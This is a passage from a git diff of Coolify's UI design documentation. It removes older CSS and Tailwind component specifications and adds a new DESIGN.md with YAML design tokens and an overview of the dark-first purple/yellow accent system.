relative; - display: flex; - padding: 0.5rem; - min-height: 4rem; - background: #fff; - border: 1px solid #e5e5e5; - border-radius: 0.25rem; - cursor: pointer; - transition: all 150ms; -} -.coolbox:hover { box-shadow: 0 0 0 2px #6b16ed; } - -.dark .coolbox { - background: #181818; - border-color: #282828; -} -.dark .coolbox:hover { box-shadow: 0 0 0 2px #fcd452; } -``` - -#### Box Text - -> **IMPORTANT — Dark mode titles**: Card/box titles MUST be `#fff` (white) in dark mode, not the default body text color (`#a3a3a3` / neutral-400). A black or grey title is nearly invisible on dark backgrounds (`#181818`). This applies to all heading-level text inside cards. - -```css -.box-title { - font-weight: 700; - color: #000; /* light mode: black */ -} -.dark .box-title { - color: #fff; /* dark mode: MUST be white, not grey */ -} - -.box-description { - font-size: 0.75rem; - font-weight: 700; - color: #737373; -} -/* On hover: description must become visible against colored bg */ -.box:hover .box-description { color: #000; } -.dark .box:hover .box-description { color: #fff; } -``` - ---- - -### 3.7 Badge / Status Indicator - -**Tailwind:** -``` -inline-block w-3 h-3 text-xs font-bold rounded-full leading-none -border border-neutral-200 dark:border-black -``` - -**Variants**: `badge-success` (`bg-success`), `badge-warning` (`bg-warning`), `badge-error` (`bg-error`) - -**Plain CSS:** -```css -.badge { - display: inline-block; - width: 0.75rem; - height: 0.75rem; - border-radius: 9999px; - border: 1px solid #e5e5e5; -} -.dark .badge { border-color: #000; } - -.badge-success { background: #22C55E; } -.badge-warning { background: #fcd452; } -.badge-error { background: #dc2626; } -``` - -#### Status Text Pattern - -Status indicators combine a badge dot with text: - -```html -
-
-
- Running -
-
-``` - -| Status | Badge Class | Text Color | -|---|---|---| -| Running | `badge-success` | `text-success` (`#22C55E`) | -| Stopped | `badge-error` | `text-error` (`#dc2626`) | -| Degraded | `badge-warning` | `dark:text-warning` (`#fcd452`) | -| Restarting | `badge-warning` | `dark:text-warning` (`#fcd452`) | - ---- - -### 3.8 Dropdown - -**Container Tailwind:** -``` -p-1 mt-1 bg-white border rounded-sm shadow-sm -dark:bg-coolgray-200 dark:border-coolgray-300 border-neutral-300 -``` - -**Item Tailwind:** -``` -flex relative gap-2 justify-start items-center py-1 pr-4 pl-2 w-full text-xs -transition-colors cursor-pointer select-none dark:text-white -hover:bg-neutral-100 dark:hover:bg-coollabs -outline-none focus-visible:bg-neutral-100 dark:focus-visible:bg-coollabs -``` - -**Plain CSS:** -```css -.dropdown { - padding: 0.25rem; - margin-top: 0.25rem; - background: #fff; - border: 1px solid #d4d4d4; - border-radius: 0.125rem; - box-shadow: 0 1px 2px 0 rgba(0, 0, 0, 0.05); -} -.dark .dropdown { - background: #202020; - border-color: #242424; -} - -.dropdown-item { - display: flex; - position: relative; - gap: 0.5rem; - justify-content: flex-start; - align-items: center; - padding: 0.25rem 1rem 0.25rem 0.5rem; - width: 100%; - font-size: 0.75rem; - cursor: pointer; - user-select: none; - transition: background-color 150ms; -} -.dropdown-item:hover { background: #f5f5f5; } -.dark .dropdown-item { color: #fff; } -.dark .dropdown-item:hover { background: #6b16ed; } -``` - ---- - -### 3.9 Sidebar / Navigation - -#### Sidebar Container + Page Layout - -The navbar is a **fixed left sidebar** (14rem / 224px wide on desktop), with main content offset to the right. - -**Tailwind (sidebar wrapper — desktop):** -``` -hidden lg:fixed lg:inset-y-0 lg:z-50 lg:flex lg:w-56 lg:flex-col min-w-0 -``` - -**Tailwind (sidebar inner — scrollable):** -``` -flex flex-col overflow-y-auto grow gap-y-5 scrollbar min-w-0 -``` - -**Tailwind (nav element):** -``` -flex flex-col flex-1 px-2 bg-white border-r dark:border-coolgray-200 border-neutral-300 dark:bg-base -``` - -**Tailwind (main content area):** -``` -lg:pl-56 -``` - -**Tailwind (main content padding):** -``` -p-4 sm:px-6 lg:px-8 lg:py-6 -``` - -**Tailwind (mobile top bar — shown on small screens, hidden on lg+):** -``` -sticky top-0 z-40 flex items-center justify-between px-4 py-4 gap-x-6 sm:px-6 lg:hidden -bg-white/95 dark:bg-base/95 backdrop-blur-sm border-b border-neutral-300/50 dark:border-coolgray-200/50 -``` - -**Tailwind (mobile hamburger icon):** -``` --m-2.5 p-2.5 dark:text-warning -``` - -**Plain CSS:** -```css -/* Sidebar — desktop only */ -.sidebar { - display: none; -} -@media (min-width: 1024px) { - .sidebar { - display: flex; - flex-direction: column; - position: fixed; - top: 0; - bottom: 0; - left: 0; - z-index: 50; - width: 14rem; /* 224px */ - min-width: 0; - } -} - -.sidebar-inner { - display: flex; - flex-direction: column; - flex-grow: 1; - overflow-y: auto; - gap: 1.25rem; - min-width: 0; -} - -/* Nav element */ -.sidebar-nav { - display: flex; - flex-direction: column; - flex: 1; - padding: 0 0.5rem; - background: #fff; - border-right: 1px solid #d4d4d4; -} -.dark .sidebar-nav { - background: #101010; - border-right-color: #202020; -} - -/* Main content offset */ -@media (min-width: 1024px) { - .main-content { padding-left: 14rem; } -} - -.main-content-inner { - padding: 1rem; -} -@media (min-width: 640px) { - .main-content-inner { padding: 1rem 1.5rem; } -} -@media (min-width: 1024px) { - .main-content-inner { padding: 1.5rem 2rem; } -} - -/* Mobile top bar — visible below lg breakpoint */ -.mobile-topbar { - position: sticky; - top: 0; - z-index: 40; - display: flex; - align-items: center; - justify-content: space-between; - padding: 1rem; - gap: 1.5rem; - background: rgba(255, 255, 255, 0.95); - backdrop-filter: blur(12px); - border-bottom: 1px solid rgba(212, 212, 212, 0.5); -} -.dark .mobile-topbar { - background: rgba(16, 16, 16, 0.95); - border-bottom-color: rgba(32, 32, 32, 0.5); -} -@media (min-width: 1024px) { - .mobile-topbar { display: none; } -} - -/* Mobile sidebar overlay (shown when hamburger is tapped) */ -.sidebar-mobile { - position: relative; - display: flex; - flex: 1; - width: 100%; - max-width: 14rem; - min-width: 0; -} -.sidebar-mobile-scroll { - display: flex; - flex-direction: column; - padding-bottom: 0.5rem; - overflow-y: auto; - min-width: 14rem; - gap: 1.25rem; - min-width: 0; -} -.dark .sidebar-mobile-scroll { background: #181818; } -``` - -#### Sidebar Header (Logo + Search) - -**Tailwind:** -``` -flex lg:pt-6 pt-4 pb-4 pl-2 -``` - -**Logo:** -``` -text-2xl font-bold tracking-wide dark:text-white hover:opacity-80 transition-opacity -``` - -**Search button:** -``` -flex items-center gap-1.5 px-2.5 py-1.5 -bg-neutral-100 dark:bg-coolgray-100 -border border-neutral-300 dark:border-coolgray-200 -rounded-md hover:bg-neutral-200 dark:hover:bg-coolgray-200 transition-colors -``` - -**Search kbd hint:** -``` -px-1 py-0.5 text-xs font-semibold -text-neutral-500 dark:text-neutral-400 -bg-neutral-200 dark:bg-coolgray-200 rounded -``` - -**Plain CSS:** -```css -.sidebar-header { - display: flex; - padding: 1rem 0 1rem 0.5rem; -} -@media (min-width: 1024px) { - .sidebar-header { padding-top: 1.5rem; } -} - -.sidebar-logo { - font-size: 1.5rem; - font-weight: 700; - letter-spacing: 0.025em; - color: #000; - text-decoration: none; -} -.dark .sidebar-logo { color: #fff; } -.sidebar-logo:hover { opacity: 0.8; } - -.sidebar-search-btn { - display: flex; - align-items: center; - gap: 0.375rem; - padding: 0.375rem 0.625rem; - background: #f5f5f5; - border: 1px solid #d4d4d4; - border-radius: 0.375rem; - cursor: pointer; - transition: background-color 150ms; -} -.sidebar-search-btn:hover { background: #e5e5e5; } -.dark .sidebar-search-btn { - background: #181818; - border-color: #202020; -} -.dark .sidebar-search-btn:hover { background: #202020; } - -.sidebar-search-kbd { - padding: 0.125rem 0.25rem; - font-size: 0.75rem; - font-weight: 600; - color: #737373; - background: #e5e5e5; - border-radius: 0.25rem; -} -.dark .sidebar-search-kbd { - color: #a3a3a3; - background: #202020; -} -``` - -#### Menu Item List - -**Tailwind (list container):** -``` -flex flex-col flex-1 gap-y-7 -``` - -**Tailwind (inner list):** -``` -flex flex-col h-full space-y-1.5 -``` - -**Plain CSS:** -```css -.menu-list { - display: flex; - flex-direction: column; - flex: 1; - gap: 1.75rem; - list-style: none; - padding: 0; - margin: 0; -} - -.menu-list-inner { - display: flex; - flex-direction: column; - height: 100%; - gap: 0.375rem; - list-style: none; - padding: 0; - margin: 0; -} -``` - -#### Menu Item - -**Tailwind:** -``` -flex gap-3 items-center px-2 py-1 w-full text-sm -dark:hover:bg-coolgray-100 dark:hover:text-white hover:bg-neutral-300 rounded-sm truncate min-w-0 -``` - -#### Menu Item Active - -**Tailwind:** -``` -text-black rounded-sm dark:bg-coolgray-200 dark:text-warning bg-neutral-200 overflow-hidden -``` - -#### Menu Item Icon / Label - -``` -/* Icon */ flex-shrink-0 w-6 h-6 dark:hover:text-white -/* Label */ min-w-0 flex-1 truncate -``` - -**Plain CSS:** -```css -.menu-item { - display: flex; - gap: 0.75rem; - align-items: center; - padding: 0.25rem 0.5rem; - width: 100%; - font-size: 0.875rem; - border-radius: 0.125rem; - overflow: hidden; - text-overflow: ellipsis; - white-space: nowrap; -} -.menu-item:hover { background: #d4d4d4; } -.dark .menu-item:hover { background: #181818; color: #fff; } - -.menu-item-active { - color: #000; - background: #e5e5e5; - border-radius: 0.125rem; -} -.dark .menu-item-active { - background: #202020; - color: #fcd452; -} - -.menu-item-icon { - flex-shrink: 0; - width: 1.5rem; - height: 1.5rem; -} - -.menu-item-label { - min-width: 0; - flex: 1; - overflow: hidden; - text-overflow: ellipsis; - white-space: nowrap; -} -``` - -#### Sub-Menu Item - -```css -.sub-menu-item { - /* Same as menu-item but with gap: 0.5rem and icon size 1rem */ - display: flex; - gap: 0.5rem; - align-items: center; - padding: 0.25rem 0.5rem; - width: 100%; - font-size: 0.875rem; - border-radius: 0.125rem; -} -.sub-menu-item-icon { flex-shrink: 0; width: 1rem; height: 1rem; } -``` - ---- - -### 3.10 Callout / Alert - -Four types: `warning`, `danger`, `info`, `success`. - -**Structure:** -```html -
-
-
-
Title
-
Content
-
-
-``` - -**Base Tailwind:** -``` -relative p-4 border rounded-lg -``` - -**Type Colors:** - -| Type | Background | Border | Title Text | Body Text | -|---|---|---|---|---| -| **warning** | `bg-warning-50 dark:bg-warning-900/30` | `border-warning-300 dark:border-warning-800` | `text-warning-800 dark:text-warning-300` | `text-warning-700 dark:text-warning-200` | -| **danger** | `bg-red-50 dark:bg-red-900/30` | `border-red-300 dark:border-red-800` | `text-red-800 dark:text-red-300` | `text-red-700 dark:text-red-200` | -| **info** | `bg-blue-50 dark:bg-blue-900/30` | `border-blue-300 dark:border-blue-800` | `text-blue-800 dark:text-blue-300` | `text-blue-700 dark:text-blue-200` | -| **success** | `bg-green-50 dark:bg-green-900/30` | `border-green-300 dark:border-green-800` | `text-green-800 dark:text-green-300` | `text-green-700 dark:text-green-200` | - -**Plain CSS (warning example):** -```css -.callout { - position: relative; - padding: 1rem; - border: 1px solid; - border-radius: 0.5rem; -} - -.callout-warning { - background: #fefce8; - border-color: #fde047; -} -.dark .callout-warning { - background: rgba(113, 63, 18, 0.3); - border-color: #854d0e; -} - -.callout-title { - font-size: 1rem; - font-weight: 700; -} -.callout-warning .callout-title { color: #854d0e; } -.dark .callout-warning .callout-title { color: #fde047; } - -.callout-text { - margin-top: 0.5rem; - font-size: 0.875rem; -} -.callout-warning .callout-text { color: #a16207; } -.dark .callout-warning .callout-text { color: #fef08a; } -``` - -**Icon colors per type:** -- Warning: `text-warning-600 dark:text-warning-400` (`#ca8a04` / `#fcd452`) -- Danger: `text-red-600 dark:text-red-400` (`#dc2626` / `#f87171`) -- Info: `text-blue-600 dark:text-blue-400` (`#2563eb` / `#60a5fa`) -- Success: `text-green-600 dark:text-green-400` (`#16a34a` / `#4ade80`) - ---- - -### 3.11 Toast / Notification - -**Container Tailwind:** -``` -relative flex flex-col items-start -shadow-[0_5px_15px_-3px_rgb(0_0_0_/_0.08)] -w-full transition-all duration-100 ease-out -dark:bg-coolgray-100 bg-white -dark:border dark:border-coolgray-200 -rounded-sm sm:max-w-xs -``` - -**Plain CSS:** -```css -.toast { - position: relative; - display: flex; - flex-direction: column; - align-items: flex-start; - width: 100%; - max-width: 20rem; - background: #fff; - border-radius: 0.125rem; - box-shadow: 0 5px 15px -3px rgba(0, 0, 0, 0.08); - transition: all 100ms ease-out; -} -.dark .toast { - background: #181818; - border: 1px solid #202020; -} -``` - -**Icon colors per toast type:** - -| Type | Color | Hex | -|---|---|---| -| Success | `text-green-500` | `#22c55e` | -| Info | `text-blue-500` | `#3b82f6` | -| Warning | `text-orange-400` | `#fb923c` | -| Danger | `text-red-500` | `#ef4444` | - -**Behavior**: Stacks up to 4 toasts, auto-dismisses after 4 seconds, positioned bottom-right. - ---- - -### 3.12 Modal - -**Tailwind (dialog-based):** -``` -rounded-sm modal-box max-h-[calc(100vh-5rem)] flex flex-col -``` - -**Modal Input variant container:** -``` -relative w-full lg:w-auto lg:min-w-2xl lg:max-w-4xl -border rounded-sm drop-shadow-sm -bg-white border-neutral-200 -dark:bg-base dark:border-coolgray-300 -flex flex-col -``` - -**Modal Confirmation container:** -``` -relative w-full border rounded-sm -min-w-full lg:min-w-[36rem] max-w-[48rem] -max-h-[calc(100vh-2rem)] -bg-neutral-100 border-neutral-400 -dark:bg-base dark:border-coolgray-300 -flex flex-col -``` - -**Plain CSS:** -```css -.modal-box { - border-radius: 0.125rem; - max-height: calc(100vh - 5rem); - display: flex; - flex-direction: column; -} - -.modal-input { - position: relative; - width: 100%; - border: 1px solid #e5e5e5; - border-radius: 0.125rem; - filter: drop-shadow(0 1px 1px rgba(0, 0, 0, 0.05)); - background: #fff; - display: flex; - flex-direction: column; -} -.dark .modal-input { - background: #101010; - border-color: #242424; -} - -/* Desktop sizing */ -@media (min-width: 1024px) { - .modal-input { - width: auto; - min-width: 42rem; - max-width: 56rem; - } -} -``` - -**Modal header:** -```css -.modal-header { - display: flex; - align-items: center; - justify-content: space-between; - padding: 1.5rem; - flex-shrink: 0; -} -.modal-header h3 { - font-size: 1.5rem; - font-weight: 700; -} -``` - -**Close button:** -```css -.modal-close { - width: 2rem; - height: 2rem; - border-radius: 9999px; - color: #fff; -} -.modal-close:hover { background: #242424; } -``` - ---- - -### 3.13 Slide-Over Panel - -**Tailwind:** -``` -fixed inset-y-0 right-0 flex max-w-full pl-10 -``` - -**Inner panel:** -``` -max-w-xl w-screen -flex flex-col h-full py-6 -border-l shadow-lg -bg-neutral-50 dark:bg-base -dark:border-neutral-800 border-neutral-200 -``` - -**Plain CSS:** -```css -.slide-over { - position: fixed; - top: 0; - bottom: 0; - right: 0; - display: flex; - max-width: 100%; - padding-left: 2.5rem; -} - -.slide-over-panel { - max-width: 36rem; - width: 100vw; - display: flex; - flex-direction: column; - height: 100%; - padding: 1.5rem 0; - border-left: 1px solid #e5e5e5; - box-shadow: -10px 0 15px -3px rgba(0, 0, 0, 0.1); - background: #fafafa; -} -.dark .slide-over-panel { - background: #101010; - border-color: #262626; -} -``` - ---- - -### 3.14 Tag - -**Tailwind:** -``` -px-2 py-1 cursor-pointer text-xs font-bold text-neutral-500 -dark:bg-coolgray-100 dark:hover:bg-coolgray-300 bg-neutral-100 hover:bg-neutral-200 -``` - -**Plain CSS:** -```css -.tag { - padding: 0.25rem 0.5rem; - font-size: 0.75rem; - font-weight: 700; - color: #737373; - background: #f5f5f5; - cursor: pointer; -} -.tag:hover { background: #e5e5e5; } -.dark .tag { background: #181818; } -.dark .tag:hover { background: #242424; } -``` - ---- - -### 3.15 Loading Spinner - -**Tailwind:** -``` -w-4 h-4 text-coollabs dark:text-warning animate-spin -``` - -**Plain CSS + SVG:** -```css -.loading-spinner { - width: 1rem; - height: 1rem; - color: #6b16ed; - animation: spin 1s linear infinite; -} -.dark .loading-spinner { color: #fcd452; } - -@keyframes spin { - from { transform: rotate(0deg); } - to { transform: rotate(360deg); } -} -``` - -**SVG structure:** -```html - - - - -``` - ---- - -### 3.16 Helper / Tooltip - -**Tailwind (trigger icon):** -``` -cursor-pointer text-coollabs dark:text-warning -``` - -**Tailwind (popup):** -``` -hidden absolute z-40 text-xs rounded-sm text-neutral-700 group-hover:block -dark:border-coolgray-500 border-neutral-900 dark:bg-coolgray-400 bg-neutral-200 -dark:text-neutral-300 max-w-sm whitespace-normal break-words -``` - -**Plain CSS:** -```css -.helper-icon { - cursor: pointer; - color: #6b16ed; -} -.dark .helper-icon { color: #fcd452; } - -.helper-popup { - display: none; - position: absolute; - z-index: 40; - font-size: 0.75rem; - border-radius: 0.125rem; - color: #404040; - background: #e5e5e5; - max-width: 24rem; - white-space: normal; - word-break: break-word; - padding: 1rem; -} -.dark .helper-popup { - background: #282828; - color: #d4d4d4; - border: 1px solid #323232; -} - -/* Show on parent hover */ -.helper:hover .helper-popup { display: block; } -``` - ---- - -### 3.17 Highlighted Text - -**Tailwind:** -``` -inline-block font-bold text-coollabs dark:text-warning -``` - -**Plain CSS:** -```css -.text-highlight { - display: inline-block; - font-weight: 700; - color: #6b16ed; -} -.dark .text-highlight { color: #fcd452; } -``` - ---- - -### 3.18 Scrollbar - -**Tailwind:** -``` -scrollbar-thumb-coollabs-100 scrollbar-track-neutral-200 -dark:scrollbar-track-coolgray-200 scrollbar-thin -``` - -**Plain CSS:** -```css -::-webkit-scrollbar { width: 6px; height: 6px; } -::-webkit-scrollbar-track { background: #e5e5e5; } -::-webkit-scrollbar-thumb { background: #7317ff; } -.dark ::-webkit-scrollbar-track { background: #202020; } -``` - ---- - -### 3.19 Table - -**Plain CSS:** -```css -table { min-width: 100%; border-collapse: separate; } -table, tbody { border-bottom: 1px solid #d4d4d4; } -.dark table, .dark tbody { border-color: #202020; } - -thead { text-transform: uppercase; } - -tr { color: #000; } -tr:hover { background: #e5e5e5; } -.dark tr { color: #a3a3a3; } -.dark tr:hover { background: #000; } - -th { - padding: 0.875rem 0.75rem; - text-align: left; - color: #000; -} -.dark th { color: #fff; } -th:first-child { padding-left: 1.5rem; } - -td { padding: 1rem 0.75rem; white-space: nowrap; } -td:first-child { padding-left: 1.5rem; font-weight: 700; } -``` - ---- - -### 3.20 Keyboard Shortcut Indicator - -**Tailwind:** -``` -px-2 text-xs rounded-sm border border-dashed border-neutral-700 dark:text-warning -``` - -**Plain CSS:** -```css -.kbd { - padding: 0 0.5rem; - font-size: 0.75rem; - border-radius: 0.125rem; - border: 1px dashed #404040; -} -.dark .kbd { color: #fcd452; } -``` - ---- - -## 4. Base Element Styles - -These global styles are applied to all HTML elements: - -```css -/* Page */ -html, body { - width: 100%; - min-height: 100%; - background: #f9fafb; - font-family: Inter, sans-serif; -} -.dark html, .dark body { - background: #101010; - color: #a3a3a3; -} - -body { - min-height: 100vh; - font-size: 0.875rem; - -webkit-font-smoothing: antialiased; - overflow-x: hidden; -} - -/* Links */ -a:hover { color: #000; } -.dark a:hover { color: #fff; } - -/* Labels */ -.dark label { color: #a3a3a3; } - -/* Sections */ -section { margin-bottom: 3rem; } - -/* Default border color override */ -*, ::after, ::before, ::backdrop { - border-color: #202020; /* coolgray-200 */ -} - -/* Select options */ -.dark option { - color: #fff; - background: #181818; -} -``` - ---- - -## 5. Interactive State Reference - -### Focus - -| Element Type | Mechanism | Light | Dark | -|---|---|---|---| -| Buttons, links, checkboxes | `ring-2` offset | Purple `#6b16ed` | Yellow `#fcd452` | -| Inputs, selects, textareas | Inset box-shadow (4px left bar) | Purple `#6b16ed` | Yellow `#fcd452` | -| Dropdown items | Background change | `bg-neutral-100` | `bg-coollabs` (`#6b16ed`) | - -### Hover - -| Element | Light | Dark | -|---|---|---| -| Button (default) | `bg-neutral-100` | `bg-coolgray-200` | -| Button (highlighted) | `bg-coollabs` (`#6b16ed`) | `bg-coollabs-100` (`#7317ff`) | -| Button (error) | `bg-red-300` | `bg-red-800` | -| Box card | `bg-neutral-100` + all child text `#000` | `bg-coollabs-100` (`#7317ff`) + all child text `#fff` | -| Coolbox card | Ring: `ring-coollabs` | Ring: `ring-warning` | -| Menu item | `bg-neutral-300` | `bg-coolgray-100` | -| Dropdown item | `bg-neutral-100` | `bg-coollabs` | -| Table row | `bg-neutral-200` | `bg-black` | -| Link | `text-black` | `text-white` | -| Checkbox container | — | `bg-coolgray-100` | - -### Disabled - -```css -/* Universal disabled pattern */ -:disabled { - cursor: not-allowed; - color: #d4d4d4; /* neutral-300 */ - background: transparent; - border-color: transparent; -} -.dark :disabled { - color: #525252; /* neutral-600 */ -} - -/* Input-specific */ -.input:disabled { - background: #e5e5e5; /* neutral-200 */ - color: #737373; /* neutral-500 */ - box-shadow: none; -} -.dark .input:disabled { - background: rgba(24, 24, 24, 0.4); - box-shadow: none; -} -``` - -### Readonly - -```css -.input:read-only { - color: #737373; - background: #e5e5e5; - box-shadow: none; -} -.dark .input:read-only { - color: #737373; - background: rgba(24, 24, 24, 0.4); - box-shadow: none; -} -``` - ---- - -## 6. CSS Custom Properties (Theme Tokens) - -For use in any CSS framework or plain CSS: - -```css -:root { - /* Font */ - --font-sans: Inter, sans-serif; - - /* Brand */ - --color-base: #101010; - --color-coollabs: #6b16ed; - --color-coollabs-50: #f5f0ff; - --color-coollabs-100: #7317ff; - --color-coollabs-200: #5a12c7; - --color-coollabs-300: #4a0fa3; - - /* Neutral grays (dark backgrounds) */ - --color-coolgray-100: #181818; - --color-coolgray-200: #202020; - --color-coolgray-300: #242424; - --color-coolgray-400: #282828; - --color-coolgray-500: #323232; - - /* Warning / dark accent */ - --color-warning: #fcd452; - --color-warning-50: #fefce8; - --color-warning-100: #fef9c3; - --color-warning-200: #fef08a; - --color-warning-300: #fde047; - --color-warning-400: #fcd452; - --color-warning-500: #facc15; - --color-warning-600: #ca8a04; - --color-warning-700: #a16207; - --color-warning-800: #854d0e; - --color-warning-900: #713f12; - - /* Semantic */ - --color-success: #22C55E; - --color-error: #dc2626; -} -``` diff --git a/DESIGN.md b/DESIGN.md new file mode 100644 index 000000000..9520fdf23 --- /dev/null +++ b/DESIGN.md @@ -0,0 +1,752 @@ +--- +version: alpha +name: Coolify +description: Self-hosted PaaS. Dark-first utilitarian UI. Purple (light) / yellow (dark) accent swap. Sharp 2px radii. Inset box-shadow inputs with 4px dirty-bar indicator. +colors: + # Brand + coollabs: "#6b16ed" + coollabs-50: "#f5f0ff" + coollabs-100: "#7317ff" + coollabs-200: "#5a12c7" + coollabs-300: "#4a0fa3" + # Dark-mode accent (warning scale) + warning: "#fcd452" + warning-50: "#fefce8" + warning-100: "#fef9c3" + warning-200: "#fef08a" + warning-300: "#fde047" + warning-400: "#fcd452" + warning-500: "#facc15" + warning-600: "#ca8a04" + warning-700: "#a16207" + warning-800: "#854d0e" + warning-900: "#713f12" + # Dark surfaces + base: "#101010" + coolgray-100: "#181818" + coolgray-200: "#202020" + coolgray-300: "#242424" + coolgray-400: "#282828" + coolgray-500: "#323232" + # Light surfaces (Tailwind neutrals) + surface: "#ffffff" + background: "#f9fafb" + border: "#e5e5e5" + text: "#000000" + text-muted: "#737373" + text-placeholder: "#d4d4d4" + # Semantic + success: "#22C55E" + error: "#dc2626" + primary: "{colors.coollabs}" +typography: + h1: + fontFamily: "'Geist Sans', Inter, sans-serif" + fontSize: 1.875rem + fontWeight: 700 + lineHeight: 1.2 + h2: + fontFamily: "'Geist Sans', Inter, sans-serif" + fontSize: 1.25rem + fontWeight: 700 + h3: + fontFamily: "'Geist Sans', Inter, sans-serif" + fontSize: 1.125rem + fontWeight: 700 + h4: + fontFamily: "'Geist Sans', Inter, sans-serif" + fontSize: 1rem + fontWeight: 700 + body-md: + fontFamily: "'Geist Sans', Inter, sans-serif" + fontSize: 0.875rem + fontWeight: 400 + lineHeight: 1.25rem + label-md: + fontFamily: "'Geist Sans', Inter, sans-serif" + fontSize: 0.875rem + fontWeight: 500 + label-sm: + fontFamily: "'Geist Sans', Inter, sans-serif" + fontSize: 0.75rem + fontWeight: 700 + lineHeight: 1rem + mono: + fontFamily: "'Geist Mono', SFMono-Regular, Consolas, 'Liberation Mono', Menlo, monospace" + fontSize: 0.875rem + fontWeight: 400 +rounded: + sm: 0.125rem # default — inputs, buttons, cards, modals + md: 0.25rem # coolbox + lg: 0.5rem # callouts + full: 9999px # badges, pills +spacing: + xs: 0.25rem + sm: 0.5rem + md: 1rem + lg: 1.5rem + xl: 2rem + section: 3rem + sidebar-width: 14rem + button-height: 2rem + card-min-height: 4rem + input-py: 0.375rem +components: + button: + backgroundColor: "{colors.surface}" + textColor: "{colors.text}" + rounded: "{rounded.sm}" + height: "{spacing.button-height}" + padding: 0 0.5rem + button-dark: + backgroundColor: "{colors.coolgray-100}" + textColor: "#ffffff" + button-hover: + backgroundColor: "#f5f5f5" + button-hover-dark: + backgroundColor: "{colors.coolgray-200}" + button-highlighted: + backgroundColor: "{colors.coollabs-50}" + textColor: "{colors.coollabs-200}" + button-highlighted-hover: + backgroundColor: "{colors.coollabs}" + textColor: "#ffffff" + button-error: + backgroundColor: "#fef2f2" + textColor: "#991b1b" + button-error-hover: + backgroundColor: "#fca5a5" + textColor: "#ffffff" + input: + backgroundColor: "{colors.surface}" + textColor: "{colors.text}" + rounded: "{rounded.sm}" + padding: 0.375rem 0.5rem + input-dark: + backgroundColor: "{colors.coolgray-100}" + textColor: "#ffffff" + textarea: + typography: "{typography.mono}" + backgroundColor: "{colors.surface}" + rounded: "{rounded.sm}" + box: + backgroundColor: "{colors.surface}" + textColor: "{colors.text}" + rounded: "{rounded.sm}" + padding: "{spacing.sm}" + height: "{spacing.card-min-height}" + box-dark: + backgroundColor: "{colors.coolgray-100}" + textColor: "#ffffff" + box-hover: + backgroundColor: "#f5f5f5" + box-hover-dark: + backgroundColor: "{colors.coollabs-100}" + textColor: "#ffffff" + coolbox: + backgroundColor: "{colors.surface}" + rounded: "{rounded.md}" + padding: "{spacing.sm}" + height: "{spacing.card-min-height}" + badge-success: + backgroundColor: "{colors.success}" + size: 0.75rem + rounded: "{rounded.full}" + badge-warning: + backgroundColor: "{colors.warning}" + size: 0.75rem + rounded: "{rounded.full}" + badge-error: + backgroundColor: "{colors.error}" + size: 0.75rem + rounded: "{rounded.full}" + deprecated-badge: + backgroundColor: "rgba(252, 212, 82, 0.15)" + textColor: "{colors.warning}" + rounded: "{rounded.full}" + padding: 0.125rem 0.5rem + callout-warning: + backgroundColor: "{colors.warning-50}" + textColor: "{colors.warning-800}" + rounded: "{rounded.lg}" + padding: "{spacing.md}" + callout-danger: + backgroundColor: "#fef2f2" + textColor: "#991b1b" + rounded: "{rounded.lg}" + padding: "{spacing.md}" + callout-info: + backgroundColor: "#eff6ff" + textColor: "#1e40af" + rounded: "{rounded.lg}" + padding: "{spacing.md}" + callout-success: + backgroundColor: "#f0fdf4" + textColor: "#166534" + rounded: "{rounded.lg}" + padding: "{spacing.md}" + dropdown: + backgroundColor: "{colors.surface}" + rounded: "{rounded.sm}" + padding: "{spacing.xs}" + dropdown-dark: + backgroundColor: "{colors.coolgray-200}" + dropdown-item-hover: + backgroundColor: "#f5f5f5" + dropdown-item-hover-dark: + backgroundColor: "{colors.coollabs}" + textColor: "#ffffff" + menu-item-active: + backgroundColor: "#e5e5e5" + textColor: "{colors.text}" + rounded: "{rounded.sm}" + menu-item-active-dark: + backgroundColor: "{colors.coolgray-200}" + textColor: "{colors.warning}" + tag: + backgroundColor: "#f5f5f5" + textColor: "{colors.text-muted}" + padding: 0.25rem 0.5rem + kbd: + rounded: "{rounded.sm}" + padding: 0 0.5rem + toast: + backgroundColor: "{colors.surface}" + rounded: "{rounded.sm}" + padding: "{spacing.md}" + width: 20rem + modal-input: + backgroundColor: "{colors.surface}" + rounded: "{rounded.sm}" + modal-input-dark: + backgroundColor: "{colors.base}" + modal-confirmation: + backgroundColor: "#f5f5f5" + rounded: "{rounded.sm}" + modal-confirmation-dark: + backgroundColor: "{colors.base}" +--- + +# Coolify Design System + +## Overview + +Coolify is a self-hosted PaaS (Heroku/Netlify/Vercel alternative) built with Laravel 12, Livewire 3, and Tailwind CSS v4. UI is **dark-first, dense, utilitarian** — operators want information density over whitespace. + +Brand personality: precise, engineered, no-nonsense. No flourish. No gradients outside a single branded upsell. Flat surfaces differentiated by tonal depth, not shadow. + +Two signature traits define the system: + +1. **Purple/Yellow accent swap.** Light mode uses `coollabs` purple `#6b16ed`. Dark mode swaps to `warning` yellow `#fcd452` for focus rings, active nav items, helper icons, loading spinners, highlighted text, helper links. Never use purple as an accent in dark mode. +2. **Inset box-shadow inputs with a 4px "dirty bar".** Inputs and selects have no border — they use `box-shadow: inset 4px 0 0 transparent, inset 0 0 0 2px `. When the field is focused or has unsaved changes (`wire:dirty`), the left 4px becomes the accent color — a live visual indicator of modified state. This is the single most distinctive UI detail in Coolify. + +Sharp geometry everywhere: 2px corner radius by default (`rounded-sm`). 8px only on callouts. Shadows used sparingly — one `shadow-sm` on boxes, one drop-shadow on toasts. The rest is flat tonal layers. + +## Colors + +Source of truth: `resources/css/app.css` `@theme` block (Tailwind v4). + +### Palettes + +- **Primary / Coollabs (`#6b16ed`)** — brand purple. Light-mode accent. Used for focus rings, active states, highlighted buttons, spinners, scrollbar thumb. Scale: `coollabs-50 #f5f0ff` (backgrounds), `coollabs #6b16ed` (base), `coollabs-100 #7317ff` (dark-mode button hover), `coollabs-200 #5a12c7` (light-mode text), `coollabs-300 #4a0fa3` (deepest). +- **Warning (`#fcd452`)** — dark-mode accent + callout palette. Full yellow scale `warning-50` through `warning-900`. Swaps in for coollabs under `.dark`. +- **Coolgray (dark surface ladder)** — five shades building dark-mode depth: `base #101010` (page) → `coolgray-100 #181818` (components) → `-200 #202020` (elevated / active nav) → `-300 #242424` (input borders, button borders) → `-400 #282828` (tooltips) → `-500 #323232` (subtle overlays). +- **Semantic** — `success #22C55E` for running/healthy, `error #dc2626` for stopped/danger. +- **Light surfaces** — `gray-50 #f9fafb` (page), `white` (components), `neutral-200 #e5e5e5` (borders), `neutral-500 #737373` (muted text), `neutral-300 #d4d4d4` 